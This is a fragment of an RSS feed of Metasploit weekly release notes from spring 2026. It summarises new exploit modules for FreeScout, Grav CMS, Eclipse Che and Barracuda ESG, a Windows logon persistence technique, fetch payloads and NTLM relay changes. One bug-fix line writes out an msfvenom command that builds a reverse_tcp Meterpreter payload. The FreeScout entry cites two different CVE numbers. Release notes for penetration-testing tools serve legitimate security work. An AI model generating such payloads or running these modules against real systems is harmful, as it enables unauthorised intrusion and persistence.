      <guid isPermaLink="false">blte1ac7b403beedf01</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Simon Janusz]]></dc:creator>
      <pubDate>Fri, 10 Apr 2026 19:11:43 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7464fe659cab8a01/6852c358419e54d8e21c3458/blog-metasploit-wrap-up-.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap-Up 04/03/2026]]></title>
      <description><![CDATA[<h2>Additional Adapters and More Modules</h2><p>This week, we added a whole new bunch of HTTP/HTTPS-based CMD payloads for X64 and X86 versions of Windows. The additional breadth of selectable payloads and delivery techniques allows users new options to tailor the attack workflow for their environment. This was contributed by <a href="https://github.com/bwatters-r7">bwatters-r7</a>. Adding new architectures for adapted payloads is surprisingly easy and something a first-time contributor might want to look into!</p><p>New modules added to Metasploit Framework also allow for targeting FreeScout and Grav CMS, both of which result in remote code execution. These modules were contributed by <a href="https://github.com/Chocapikk">Chocapikk</a> and <a href="https://github.com/x1o3">x1o3</a> respectively. Thanks!</p><p>Thanks to <a href="https://github.com/g0tmi1k">g0tmi1k</a>, Metasploit Framework now also includes an exploit module, multi/http/os_cmd_exec, which allows for targeting generic HTTP command execution vulnerabilities where user-supplied input is directly passed to system execution functions via an HTTP request. This can result in a Meterpreter shell on the remote target.</p><p>To round this week off, we have a new persistence technique on Windows, thanks to <a href="https://github.com/Nayeraneru">Nayeraneru</a>, which abuses the HKCU\Environment\UserInitMprLogonScript registry value to execute a payload at user logon.</p><h2>New module content (5)</h2><h3>FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass</h3><p>Authors: Moses Bhardwaj (MosesOX) , Nir Zadok (nirzadokox) , Valentin Lobstein <a href="mailto:chocapikk@leakix.net">chocapikk@leakix.net</a>, and offensiveee</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21069">#21069</a> contributed by <a href="https://github.com/Chocapikk">Chocapikk</a></p><p>Path: multi/http/freescout_htaccess_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2026-27636&amp;referrer=blog">CVE-2026-27636</a></p><p>Description: This adds an exploit module for CVE-2026-28289, an unauthenticated remote code execution vulnerability in FreeScout versions prior or equal to 1.8.206.</p><h3>Grav CMS Admin Direct Install Authenticated Plugin Upload RCE</h3><p>Authors: binneko and x1o3</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21029">#21029</a> contributed by <a href="https://github.com/x1o3">x1o3</a></p><p>Path: multi/http/grav_admin_direct_install_rce_cve_2025_50286</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2025-50286&amp;referrer=blog">CVE-2025-50286</a></p><p>Description: This adds a new exploit module for CVE-2025-50286, an authenticated RCE vulnerability in Grav CMS 1.1.x–1.7.x with Admin Plugin 1.2.x–1.10.x. The module exploits the Direct Install feature to upload a malicious plugin ZIP and execute an arbitrary PHP payload as the web server user.</p><h3>Generic HTTP Command Execution</h3><p>Authors: egypt <a href="mailto:egypt@metasploit.com">egypt@metasploit.com</a> and g0tmi1k</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21023">#21023</a> contributed by <a href="https://github.com/g0tmi1k">g0tmi1k</a></p><p>Path: multi/http/os_cmd_exec</p><p>Description: Adds a new exploits/multi/http/os_cmd_exec module that targets generic HTTP command execution vulnerabilities where user-supplied input is directly passed to system execution functions via an HTTP request.</p><h3>Windows Persistence via UserInitMprLogonScript</h3><p>Author: Nayera</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21032">#21032</a> contributed by <a href="https://github.com/Nayeraneru">Nayeraneru</a></p><p>Path: windows/persistence/userinit_mpr_logon_script</p><p>Description: This adds a new Windows persistence module that abuses the HKCU\Environment\UserInitMprLogonScript registry value to execute a payload at user logon.</p><h3>HTTP and HTTPS Fetch</h3><p>Authors: Brendan Watters, Chris John Riley, hdm <a href="mailto:x@hdm.io">x@hdm.io</a>, sf <a href="mailto:stephen_fewer@harmonysecurity.com">stephen_fewer@harmonysecurity.com</a>, and vlad902 <a href="mailto:vlad902@gmail.com">vlad902@gmail.com</a></p><p>Type: Payload (Adapter)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21172">#21172</a> contributed by <a href="https://github.com/bwatters-r7">bwatters-r7</a></p><p>Description: This adds HTTP and HTTPS fetch payloads for 32-bit Windows targets.</p><h2>Enhancements and features (8)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/20999">#20999</a> from <a href="https://github.com/Aaditya1273">Aaditya1273</a> - Removes the legacy windows/local/persistence module, which has been superseded by the modernized windows/persistence/registry module. A moved_from alias ensures that existing scripts and workflows referencing the old module path are automatically redirected to the new one with a deprecation warning.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21090">#21090</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Updates multiple modules to make use of report_service().</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21097">#21097</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Updates auxiliary/scanner/ftp/anonymous.rb to report the FTP service regardless of anonymous being enabled.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21144">#21144</a> from <a href="https://github.com/Nayeraneru">Nayeraneru</a> - Improves YARD documentation for lib/msf/core/auxiliary/web/http.rb by documenting the Request and Response helpers, the public HTTP request APIs, and the internal custom-404/request-handling flow.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21145">#21145</a> from <a href="https://github.com/Nayeraneru">Nayeraneru</a> - Adds YARD docs to lib/msf/core/auxiliary/auth_brute.rb, focusing on the AuthBrute mixin’s credential-building, brute-force state, logging, and cleanup helpers.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21150">#21150</a> from <a href="https://github.com/Nayeraneru">Nayeraneru</a> - Adds YARD documentation to lib/msf/core/payload/adapter/fetch.rb to improve consistency and clarify how the fetch adapter generates URIs, builds fetch commands, and resolves platform-specific execution behavior.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21194">#21194</a> from <a href="https://github.com/bcoles">bcoles</a> - This updates the post/linux/gather/enum_protections module by adding documentation and additional checks for modern protections and applications.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21214">#21214</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Adds additional validation to db_import before attempting to import values.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21048">#21048</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Not written - add release notes directly to the pull request, then regenerate. Do not edit manually without ensuring the pull request has the release note present.</li></ul><h2>Bugs fixed (6)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21004">#21004</a> from <a href="https://github.com/EclipseAditya">EclipseAditya</a> - This fixes a bug in the #normalize_key method provided by the Windows Registry mixin. The result is correct behavior when using shell sessions to check for keys with trailing \ characters.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21138">#21138</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Fixes a bug that stopped the auxiliary/server/dhcp module from running as a background job when RHOSTS had been set.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21188">#21188</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a crash on older Ruby versions when scanning binary files.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21199">#21199</a> from <a href="https://github.com/Hemang360">Hemang360</a> - Fixes crash in auxiliary/scanner/http/wp_perfect_survey_sqli when run against invalid or unreachable targets.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21207">#21207</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - Fixes warning when running the linux/gather/enum_protections module.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21208">#21208</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes multiple warnings in modules that reported notes incorrectly.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21073">#21073</a> from <a href="https://github.com/Hemang360">Hemang360</a> - Fixes a bug where running exploit/multi/handler with a reverse HTTP/HTTPS payload multiple times on the same port caused cleanup issues.</li></ul><h2>Documentation added (6)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21149">#21149</a> from <a href="https://github.com/Adithyadspawar">Adithyadspawar</a> - Adds documentation to the following login scanners: ftp/bison_ftp_traversal, http/apache_activemq_traversal, http/coldfusion_version, http/drupal_views_user_enum and http/elasticsearch_traversal.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21186">#21186</a> from <a href="https://github.com/Devansh7006">Devansh7006</a> - Adds documentation for the wordpress_pingback_access module.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21187">#21187</a> from <a href="https://github.com/Devansh7006">Devansh7006</a> - Updates documentation for auxiliary/scanner/http/http_put.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21200">#21200</a> from <a href="https://github.com/dineshg0pal">dineshg0pal</a> - Updates the example code snippet for writing Metasploit Go modules.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21201">#21201</a> from <a href="https://github.com/aryan9190">aryan9190</a> - Adds YARD documentation for Rex::Post::IO class.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21217">#21217</a> from <a href="https://github.com/dineshg0pal">dineshg0pal</a> - Fixes minor errors in documentation files.</li></ul><p>You can always find more documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-03-26T11%3A49%3A13Z..2026-04-02T10%3A24%3A13Z%22">Pull Requests 6.4.124...6.4.125</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.124...6.4.125">Full diff 6.4.124...6.4.125</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-04-03-2026</link>
      <guid isPermaLink="false">blt5f25f7ef5fc9cc1d</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Simon Janusz]]></dc:creator>
      <pubDate>Fri, 03 Apr 2026 19:06:10 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0475760a2990dfd7/6849ab41a770d7563190a3ea/metasploit-fence.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap-Up 03/27/2026]]></title>
      <description><![CDATA[<p></p><h2>Better NTLM Relaying Functionality</h2><p>This week’s release brings an improvement to the SMB NTLM relay server. In the past, it’s support has been expanded with modules for relaying to HTTP (ESC8), MSSQL and LDAP while still receiving connections over the humble SMB service. Prior to this release, clients required a key behavior in how they handled SMB’s STATUS_NETWORK_SESSION_EXPIRED error code, in order to relay a single authentication attempt to multiple targets. Most clients other than Window’s “net use” do not handle these errors and were thus incompatible with Metasploit SMB NTLM relaying capabilities. Now, when a single target is specified, Metasploit alters its relaying strategy to forward the Net-NTLM messages immediately, making it compatible with a broader range of clients including Linux’s smbclient. In addition, the client in RubySMB was updated to mimic the behaviour of “net use” allowing authentication attempts from RubySMB to be relayed to multiple targets successfully.</p><h2>New module content (3)</h2><h3>ESC/POS Printer Command Injector</h3><p>Author: FutileSkills</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/20478">#20478</a> contributed by <a href="https://github.com/futileskills">futileskills</a></p><p>Path: admin/printer/escpos_tcp_command_injector</p><p>Description: Adds a new auxiliary module that exploits CVE-2026-23767, an unauthenticated ESC/POS command vulnerability in networked Epson-compatible printers. The vulnerability allows an attacker to send crafted commands over the network to inject custom ESC/POS print commands, which are used in various receipt printers.</p><h3>Eclipse Che machine-exec Unauthenticated RCE</h3><p>Authors: Greg Durys <a href="mailto:gregdurys.security@proton.me">gregdurys.security@proton.me</a> and Richard Leach</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/20835">#20835</a> contributed by <a href="https://github.com/GregDurys">GregDurys</a></p><p>Path: linux/http/eclipse_che_machine_exec_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2025-12548&amp;referrer=blog">CVE-2025-12548</a></p><p>Description: This adds a module for CVE-2025-12548, an unauthenticated RCE in the Eclipse Che machine-exec service. The vulnerability allows attackers to connect over WebSocket on port 3333 and execute commands via JSON-RPC without authentication. This affects Red Hat OpenShift DevSpaces environments.</p><h3>Barracuda ESG TAR Filename Command Injection</h3><p>Authors: Curt Hyvarinen, Mandiant, and cfielding-r7</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21033">#21033</a> contributed by <a href="https://github.com/Alpenlol">Alpenlol</a></p><p>Path: linux/smtp/barracuda_esg_tarfile_rce AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2023-2868&amp;referrer=blog">CVE-2023-2868</a></p><p>Description: Adds exploit module for CVE-2023-2868, a command injection vulnerability in Barracuda Email Security Gateway (ESG) appliances. Filenames in TAR attachments are passed to shell commands without sanitization, allowing RCE via backtick injection.</p><h2>Enhancements and features (1)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21049">#21049</a> from <a href="https://github.com/h00die">h00die</a> - This updates post modules to use an API that will expand multiple environment variables when set within the WritableDir option.</li></ul><h2>Bugs fixed (5)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/20967">#20967</a> from <a href="https://github.com/jheysel-r7">jheysel-r7</a> - This fix an issue that prevents successful authentication relay from Ruby SMB Client and smbclient. These clients are now compatible with Msf::Exploit::Remote::SMB::RelayServer.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21148">#21148</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a bug where setting VERBOSE logging as false globally would still cause verbose logging to occur.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21169">#21169</a> from <a href="https://github.com/SaiSakthidar">SaiSakthidar</a> - This fixes a bug that was preventing Mach-O binaries from being identified due to a Ruby string encoding compatibility problem.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21173">#21173</a> from <a href="https://github.com/msutovsky-r7">msutovsky-r7</a> - Fixes a crash when attempting to generate a vbs payload with msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=44 -f vbs.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21174">#21174</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a bug when parsing msfconsole's -x flag when additional semicolons are present that are not meant to separate commands. i.e. msfconsole -x 'set option_name "a;b"'.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-03-18T23%3A56%3A12Z..2026-03-26T11%3A49%3A13Z%22">Pull Requests 6.4.123...6.4.124</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.123...6.4.124">Full diff 6.4.123...6.4.124</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-03-27-2026</link>
      <guid isPermaLink="false">blt65197b62038306df</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Spencer McIntyre]]></dc:creator>
      <pubDate>Fri, 27 Mar 2026 20:48:03 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
  </channel>
</rss>